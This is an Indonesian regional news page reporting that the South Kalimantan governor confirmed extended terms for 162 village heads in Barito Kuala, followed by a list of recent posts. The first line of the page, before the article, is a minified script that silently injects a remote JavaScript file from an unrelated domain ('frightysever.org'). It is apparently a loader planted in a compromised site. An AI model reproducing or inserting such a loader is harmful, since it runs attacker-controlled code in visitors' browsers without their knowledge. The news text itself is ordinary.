(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV BARITO KUALA

Gubernur Resmikan Perpanjangan Masa Jabatan Kepala Desa di Barito Kuala


KANALKALIMANTAN.COM, MARABAHAN- Gubernur Kalimantan Selatan (Kalsel), Sahbirin Noor atau yang akrab disapa Paman Birin, mengukuhkan perpanjangan masa jabatan untuk 162 Kepala Desa/Pembakal di Kabupaten Barito Kuala. Acara digelar rumah makan kawasan Handil Bhakti, Kecamatan Alalak, pada Senin (10/06).

Dalam kesempatan tersebut, Paman Birin didampingi oleh Ketua Tim Penggerak PKK Provinsi Kalsel, Raudhatul Jannah atau Acil Odah, menyerahkan secara langsung Surat Keputusan (SK) perpanjangan masa jabatan kepada masing-masing kepala desa.

Usai acara, Paman Birin mengungkapkan kebanggaannya terhadap para kepala desa dan menyampaikan harapan agar mereka dapat menjalankan tugas dengan baik serta menjaga amanah yang telah dipercayakan masyarakat.

Paman Birin juga mengucapkan terima kasih kepada istri-istri kepala desa, yang juga merupakan ketua TP PKK tingkat desa, beserta kader lain yang telah membantu suami mereka selama menjabat.
“Terima kasih juga untuk bini-bini pambakal (istri-istri kepala desa) yang telah meluangkan waktunya membantu tugas suami,” ujar Paman Birin.

Dalam waktu dekat, Paman Birin menyebutkan bahwa Kalsel akan menggelar Pemilihan Kepala Daerah (Pilkada) yang mencakup pemilihan gubernur/wakil gubernur, walikota/wakil walikota, serta bupati/wakil bupati.

Ia berharap masyarakat Kalsel akan mendapatkan pemimpin yang membawa kegembiraan dan menjadikan Pilkada sebagai pesta yang penuh kebahagiaan.

Sementara itu, Pj Bupati Barito Kuala, Mujiat, menjelaskan bahwa perpanjangan masa jabatan ini diberikan kepada 162 kepala desa, di mana 11 di antaranya adalah perempuan. Dari jumlah tersebut, 6 kepala desa memiliki masa jabatan dari 2019 hingga 2027, sedangkan 156 lainnya memiliki masa jabatan dari 2021 hingga 2029.

Pengukuhan perpanjangan masa jabatan kepala desa ini merupakan yang pertama di Kalsel sesuai dengan UU Nomor 3 Tahun 2024. Selain itu, pada kesempatan yang sama juga diserahkan SK Gubernur tentang tapal batas kepada 17 camat se-Kabupaten Barito Kuala.

Acara tersebut juga mencakup pelantikan pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Barito Kuala untuk masa bhakti 2023 – 2028, serta penyerahan hadiah umrah kepada dua orang juara MTQ Nasional tingkat provinsi Kalsel 2024, yang merupakan perwakilan kafilah Kabupaten Barito Kuala.(kanalkalimantan.com/rls)

Editor: kk


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

9 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.